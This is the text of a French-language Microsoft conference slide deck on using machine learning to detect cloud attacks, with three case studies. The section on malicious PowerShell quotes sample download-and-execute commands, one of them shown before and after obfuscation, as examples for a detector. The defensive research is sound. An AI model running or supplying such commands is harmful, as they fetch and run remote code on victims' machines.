Avec l'agilité et l'échelle du Cloud, la capacité des machines à analyser rapidement et à répondre des quantités sans précédent de données devient indispensable comme la fréquence, l'échelle et la sophistication des cyberattaques ne cessent d'augmenter. Extraire les signaux d'un attaquant de milliards d'événements de log en quasi réel temps depuis un stockage à l'échelle du Pétaoctet est une tâche ardue.
L'application des algorithmes de Machine Learning aux vastes quantités de données issues des logs et de la télémétrie recueillies par les différents services donne une connaissance et une capacité de détection d'anomalies sans précédent pour identifier les comportements malveillants ou les entités malveillantes ; appelez-les hackers, attaquants, logiciel malveillant, comportement indésirable, etc. Ces techniques contribuent à identifier les menaces plus efficacement que d'autres approches pilotées par logiciel pour défendre les services Cloud de Microsoft, son infrastructure et ses clients.
Cette session s’intéressera à la façon dont le Machine Learning et désormais le Transfer Learning peuvent être appliqués à la Cybersécurité à chaque niveau de défense (prévention, détection et remédiation) et illustrera comment cela se traduit dans les services proposés à nos clients.
Le Machine Learning pour lutter contre les menaces en termes de Cybersécurité dans le Cloud
1. #experiences18
Le Machine Learning
pour lutter contre les menaces en termes de Cybersécurité
dans le Cloud
Philippe Beraud
Direction Technique et Sécurité
Microsoft France
@philberd
Jean-Yves Grasset
Direction Technique et Sécurité
Microsoft France
@jyvesgrasset
3. #experiences18Microsoft experiences18
L’échelle de la Sécurité au sein du Cloud Microsoft
Nombresjournaliers
1,1 Milliard
d’identités Azure AD (et 17,5 Millions d’organisations)
8 Milliards
d’authentifications Azure AD
77 Millions
de menaces détectées sur des terminaux
30 Millions
d’attaques en anomalie géographique évitées
1.5 Million
de tentatives de compromissions évitées
4. #experiences18
Notre agenda pour
cette session
Comment le Machine Learning peut
contribuer à la Sécurité ?
- ou - Comment utiliser le Cloud pour sécuriser et
protéger le Cloud compte tenu du facteur d’échelle,
des volumétries, etc.
Deux perspectives et trois illustrations :
1. Une première illustration de l’utilisation
du Machine Learning dans la Sécurité
2. Les défis pour implémenter du Machine
Learning de qualité industrielle en
Sécurité
3. Pouvons-nous accélérer le développement
d’analyses de sécurité en réutilisant des
algorithmes ? Au travers de deux autres
illustrations
6. #experiences18Microsoft experiences18
Objectif du Machine Learning
Construire des méthodes et des systèmes
qui apprennent des données et
s’améliorent avec l’expérience
- C’est çà ton système d’apprentissage machine ?
- Ouais, tu mets ces données dans ce grand tas
d'algèbre linéaire, puis tu collectes les réponses
de l'autre côté.
- Et si les réponses sont fausses ?
- Remue juste la pile jusqu’à ce qu’elles
commencent à sembler correctes.
7. #experiences18Microsoft experiences18
Evolution destechniquesde détectiondesécurité
Programmation classique de règles versus le Machine Learning
Ordinateur
Données
Programme/Règles
Sortie
Programmation traditionnelle
Règles écrites à la main par des professionnels de
la sécurité
Les règles sont statiques et ne peuvent évoluer avec les
changements intervenants dans un environnement
Faux positifs !
Le système s’adapte aux changements intervenus
dans l’environnement avec les nouvelles données
fournies et un réentrainement
L’approche d’apprentissage supervisé dépend des données
d’entrainement
L’algorithme peut se transformer au cours du temps
Permet la détection sans générer beaucoup de faux
positifs
Ordinateur
Données
Sortie/Etiquettes
Programme
Machine Learning
8. #experiences18Microsoft experiences18
Etudedecas 1
Générer des alertes de sécurité dans Microsoft 365
Objectif : Détecter et arrêter les attaques contre l’infrastructure de service backend
de Microsoft 365 avant toute possibilité de compromission de données client
Problème
• Facteur d'échelle
• Adaptabilité
Exigences
précises
rapide
Reconnaître Délivrer
Prendre
pied
Persister
Se
déplacer Elever Exfiltrer
Recueillir Détecter Alerter Trier Context
ualiser
Planifier Exécuter
9. #experiences18Microsoft experiences18
Etudedecas 1
Connaissance du domaine
Les détections réussies intègrent des
connaissances du domaine par le
biais d’ensembles de données
disparates (et de règles)
« Comprendre les données et reconnaître le
"Bon" versus le "Mauvais" en les voyant »
Faibleconnaissancedudomaine
Connaissancedudomainedesécurité
Utilitédesalertes
Plusdeconnaissancedudomaine
MoinsutilePlusutile
Alertes de sécurité
intéressantes
Outlier Anomalie
AvancéBase
Sophistication des algorithmes
10. #experiences18Microsoft experiences18
Etudedecas 1
Données d'entrée
InfrastructuredeserviceMicrosoft365
Événements OS Windows
(sécurité, disque, etc.)
Données de contexte
(inventaire, déploiement,
utilisateurs)
Données d'application
(Utilisation Torus, cmdlets, etc.)
Autres composants On-Box
(Scanners de logiciels malveillants,
etc.)
1million
d’évènements/s
Données basées sur ETW
(Netflow, détails des processus, etc.)
Combinaison d'ensembles de données
disparates avec des expertises > données
étiquetées
Les étiquettes indiquent au Machine Learning ce qu'il
faut rechercher
Suppose (aussi) :
• La définition des entrées,
• L’application de transformations
> Ingénierie des fonctionnalités (features)
11. #experiences18Microsoft experiences18
Etudedecas 1
Données d’entrée
Générer des données étiquetées pour les attaques
Nécessité de disposer de données d’attaques pour l’entrainement d’un modèle : savoir à quoi
ressemblent des attaques
AttackBot
• Lancer régulièrement contre le service Microsoft 365, générant un ensemble de données d'attaque étiquetées
• En complément des activités de la « Red Team » au fil de l’eau
• Les modèles de Machine Learning consomment ces données pour mieux comprendre à quoi ressemblent les attaques
• Quelques scénarios d’attaques pris en charge : exfiltration de données, commande et contrôle (C2), création de compte
illicite, modification de règles de FW, etc.
12. #experiences18Microsoft experiences18
Etudedecas 1
Choix du modèle
explicable
Bénéfices
1. Résistant au sur-ajustement (overfitting) pour un modèle robuste et adaptatif
2. Hautement évolutif pour de grands volumes de données
3. Pas d’effet boite noire : en sortie, sélection de fonctionnalités associées à un poids pour classification
13. #experiences18Microsoft experiences18
Etudedecas 1
Mise en production du modèle
Modèle entrainé à intervalles réguliers
Classification exécutée plusieurs fois par
jour
avec des données de fenêtre temporelle de 10
minutes et génération d'un nombre entre [0,1]
• Lorsque la sortie dépasse un seuil, une alerte est
déclenchée
• Chaque alerte contient les variables de fonction, les
poids et les scores totaux qui ont contribué à la
décision.
Cluster Vanquish
Evaluation de 100 000
machines/15 mins
Traitement en temps quasi temps-
réel avec logique intelligente pour
combiner les signaux
Outils et tableaux de bord pour
analystes
100 résultats/jour
Alerte et automatisation
1 envoi alerte sur pager/jour
15. #experiences18Microsoft experiences18
Le développement du Machine Learning dans les livres…
Choisir la tâche
d’apprentissage
Définir les
données d’entrée
Appliquer des
transformations
sur les données
Choisir le modèle
Choisir la sortie
Choisir les
options
d’exécution
Visualiser les
résultats
Déboguer et
visualiser les
erreurs
Analyser les
prédictions du
modèle
17. #experiences18Microsoft experiences18
Les solutions de Machine Learning de qualité industrielle
nécessitent plusieurs experts
Product Managers
Experts en
Machine Learning
Experts Sécurité
Évaluer le paysage de la sécurité
et identifier les opportunités de
surveillance
Mettre à jour la solution
en fonction des retours
des clients
Recueillir les commentaires
des clients et améliorer le
produit
Conformité et vie privée
Ingénieurs Opérations
Ingénieurs
Concevoir pour faible latence,
haut débit et passage à
l’échelle
Surveiller la performance et
atténuer, résoudre, préempter les
pannes
S’assurer que la solution est
conforme aux lois sur la
confidentialité
21. #experiences18Microsoft experiences18
Etudedecas 2
Détecter les activités réseau malfaisantes dans Azure
Concept de base : Réaliser du Transfer Learning en regroupant des tâches similaires
Problème
Construire une approche générique pour
détecter l'activité réseau entrante malveillante
qui fonctionne pour tous les protocoles
Hypothèse
Les protocoles réseau sous-jacents, bien que
différents, ont un comportement similaire
Solution
Détecter les adresses IP des attaquants en utilisant
une approche de type apprentissage ensembliste
par arbre (Ensemble Tree Learning)
Précédemment
Aucune approche antérieure pour les activités
suspectes liées à un protocole générique pour les
VMs dans le Cloud
23. #experiences18Microsoft experiences18
Etudedecas 2
Données d’entrée
Données IPFix* depuis des VMs Azure Fonctionnalités extraites
Description
Nombre de SYN sortant dans des interactions brèves
(log) Nombre de SYN sortant dans des interactions brèves
Pourcentage total de SYN sortant
% de SYN sortant dans des interactions brèves
Nombre de FIN entrant
Connexions entrantes distinctes par rapport aux flux totaux
Fréquence du port le plus utilisé
Écart-type horaire des adresses IP de destination
% de SYN sortant dans des interactions longues
(log) Nombre de SYN sortant
Nombre de flux sur des ports rarement utilisés
Pourcent de messages FIN sortants
Ratio des flux sortants versus entrants (TCP)
Ratio des flux sortants versus entrants (total)
Nombre total de SYN sortant
Pour obtenir des étiquettes comparer
Adresse IP dans
les données
IPFix :
10.2.3.40
Feeds de threat intelligence tierce-partie
Cyber Defense Operation
Threat Intelligence Center
MSRC
Précédentes activités du « Red team »
Si une IP des données IPFix est aussi présente dans
les flux de TI, étiqueter le flux comme malfaisant
25. #experiences18Microsoft experiences18
Etudedecas 2
Ensemble d’arbres : Entrainement
Nexemples
M fonctionnalités
Flux des portes
rares
Nombre de SYN
sortant
Fréquence du
Top Port
Nombre de flux
entrant
Ecart type
des IP
Nombre de FIN
entrant
Malveillant
MalveillantBénin MalveillantBénin MalveillantBénin
26. #experiences18Microsoft experiences18
Etudedecas 2
Ensemble d’arbres : Entrainement
Nexemples
M fonctionnalités
Ecart-type des IP
Nombre de SYN
sortant
Fréquence du
Top Port
Nombre de FIN
entrant
Malveillant
MalveillantBénin
Bénin Bénin
28. #experiences18Microsoft experiences18
Etudedecas 2
Ensemble d’arbres : Test
Prendre la
majorité
des votes
de
l’ensemble
Malveillant
Bénin
Bénin
Nouvel enregistrement
Src Ip Dst IP Src Port
DST
Port
In Int Out Int DSCP Octets
10.1.1.5 10.2.2.8 2887 80 Eth0 Eth1 00 982
29. #experiences18Microsoft experiences18
Etudedecas 2
Performance du modèle et mise en production
Modèle entrainé à intervalles réguliers
Taille des données : 3 Go/heure
Communication avec 5 Millions d’IP différentes par heure
Effectué en quelques secondes
Classification exécutée plusieurs fois par jour
Effectuées en quelques millisecondes
Ensemble de
données
Taux de vrais
positifs
Taux de faux
positifs
Sans apprentissage
ensembliste
82% 0.06%
Avec apprentissage
ensembliste 85% 0.06%
Azure Security
Center
Amélioration de 3 points
30. #experiences18Microsoft experiences18
Bonus ! ;-)
Le classificateur peut être utilisé comme un indicateur efficace pour les attaques
émergentes
#ofdetectedsuspiciousMongoDBscans
http://www.zdnet.com/article/mongodb-ransacked-now-27000-databases-hit-in-mass-ransom-attacks/
Time (days)
31. #experiences18Microsoft experiences18
Bonus ! ;-)
Chronologie de l’attaque WannaCry
#d’analysesSMBsuspectesdétectées
Une attaque ciblée ici ?
Surveillance de l’activité SMB
(445) dans Azure standard
1 Surveillance de l’activité
SMB (445) dans Azure en
augmentation
2
Pic anormal
dans l’activité
de scans
3
Sortie du Patch
MS017-10
Sortie de l’exploit
Metasploit
Fuite de l’exploitation
Shadow Broker
Une semaine avant
l’attaque
Lancement
de l’attaque
Time (days)
1. Avant la sortie du patch MS017-10, l’activité de surveillance de SMB (port 445) dans Azure se comportait de façon standard – c.à.d. scans entrants sporadiques
2. Une fois publié, on peut remarquer une augmentation graduelle du nombre de scans réussis (c.a.d. la cible a répondu) en raison de :
a. La sortie officielle du patch de Microsoft – c.à.d. un petit groupe d‘ingénieurs spécialisés en « reverse » ont découvert le bogue
b. Le module Metasploit a été mis à la disposition du public; ce qui rend plus facile la découverte et l’exploitation de la vulnérabilité
c. L’outil des Shadow Brokers a fuité, améliorant le module d’attaque de Metasploit et le diffusant largement
3. Une semaine avant l’attaque, nous pouvons remarquer un pic pointu du nombre de scans entrants réussis sur SMB – signalant un intérêt significatif pour le protocole SMB
32. #experiences18Microsoft experiences18
Etudedecas 3
Détecter des commandes PowerShell malveillantes
Concept de base : Transposer un problème de sécurité existant en un problème déjà
résolu d'un autre domaine
Problème
Détecter les lignes de commandes PowerShell
malveillantes
Hypothèse
Les méthodes d’apprentissage profond
permettent une détection efficace et précise des
commandes PowerShell malveillantes
Solution
Collecter un large ensemble de données de
Microsoft Defender et appliquer le toolkit Microsoft
de Deep Learning (CNTK) pour la détection
Précédemment
Déjà utilisé le Machine Learning
(modélisation de séquence 3-gramme)
Résultats : Taux de vrais positifs = 89%
33. #experiences18Microsoft experiences18
Etudedecas 3
Lignes de commande PowerShell difficiles à détecter
Les règles ne fonctionnent pas bien,
parce qu’il y a trop d’expressions régulières
à écrire
Le Machine Learning classique ne
fonctionne pas bien parce que chaque ligne
de commande est unique
Pas de motif discernable
Invoke-Expression (New-Object
Net.WebClient).DownloadString('http://bit.ly/L3g1t')
Ligne de commande avant obfuscation
&( "I"+ "nv" +"OK"+"e-EXPreSsIon" ) (&( "new-O"+
"BJ"+"Ect") ('Net' +'.We'+'bClient' ) ).( 'dOWnlO'
+'aDS'+'TrinG').Invoke( ('http://bi'+'t.ly/'+'L3' +'g1t'
))
Source : Bohannon, Daniel. “Invoke Obfuscation”, BlueHat 2016.
Ligne de commande après obfuscation
37. #experiences18Microsoft experiences18
Etudedecas 3
Aperçu technique
Système de Deep Learning entrainé pour la
reconnaissance d’images
"-ExecutionPolicy ByPass -NoProfile -command
$uytcccs=$env:temp+'*bs*.exe';(New-Object
Net.WebClient).DownloadFile('http://*pf*.top
/http/',$uytcccs);Start-Process $uytcccs"
& { (get-
date).ToUniversalTime().ToString('yyyy-MM-
dd-HH:mm:ss.fff') }
Convertir les commandes PowerShell en images
38. #experiences18Microsoft experiences18
Etudedecas 3
Performance du modèle et mise en production
Modèle entrainé à intervalles réguliers
Taille des données : 400 Go par jour
Effectué en quelques minutes
Classification exécutée plusieurs fois par jour
Effectuée en quelques secondes
Ensemble de
données
Taux de vrais
positifs
Taux de faux
positifs
Méthode précédente 89 % 0,004 %
Deep Learning
95,7% 0,004 %
Amélioration de 6 points !
39. #experiences18Microsoft experiences18
En guise de conclusion de notre session
Le Machine Learning permet d’apporter une réponse au facteur d’échelle et
l’évolution continue du cloud
Le Transfer Learning aide à :
40. #experiences18Microsoft experiences18
Pour aller plus loin
Obfuscation de code
• Detecting Obfuscated PowerShell : https://arxiv.org/pdf/1804.04177.pdf
• The Invoke-Obfuscation Usage Guide :: Part 1: http://www.danielbohannon.com/blog-1/2017/12/2/the-invoke-obfuscation-
usage-guide
• The Invoke-Obfuscation Usage Guide :: Part 2: http://www.danielbohannon.com/blog-1/2017/12/2/the-invoke-obfuscation-
usage-guide-part-2
Transfer Learning
• A survey on transfer learning :
http://www.ntu.edu.sg/home/sinnopan/publications/A%20Survey%20on%20Transfer%20Learning.ppt
• Transfer Learning - Machine Learning's Next Frontier : http://ruder.io/transfer-learning/
• Experiment with Transfer Learning : https://docs.microsoft.com/en-us/cognitive-toolkit/Build-your-own-image-classifier-
using-Transfer-Learning
Machine Learning
• Cheat sheet: How to choose a Microsoft ML algorithm : https://docs.microsoft.com/en-us/machine-learning-server/r/how-
to-choose-microsoftml-algorithms-cheatsheet
41. #experiences18Microsoft experiences18
Pour aller plus loin
edX
• Azure Security and Compliance : https://www.edx.org/course/azure-security-and-compliance
Microsoft Professional Program
• Microsoft Professional Program for CyberSecurity : https://academy.microsoft.com/en-us/professional-
program/tracks/cyber-security/
• Microsoft Professional Program for Artificial Intelligence : https://academy.microsoft.com/en-us/professional-
program/tracks/artificial-intelligence/
Avec des formations gratuites :-)
42. #experiences18Microsoft experiences18
Pour aller plus loin
De la formation à la certification
Microsoft Learning: http://learning.microsoft.com
#experienceslive
Pour des réponses à toutes vos questions techniques
Microsoft Docs: https://docs.microsoft.com
43. #experiences18Microsoft experiences18
The Future Computed<<<<
#experienceslive
The Future Computed:
Artificial Intelligence and its role
in society
As with the great advances of the past on
which it builds — including electricity, the
telephone and transistors — AI will bring
about vast changes, some of which are
hard to imagine today. And, as was the
case with these previous significant
technological advances, about how we
address the societal issues that these
changes bring about.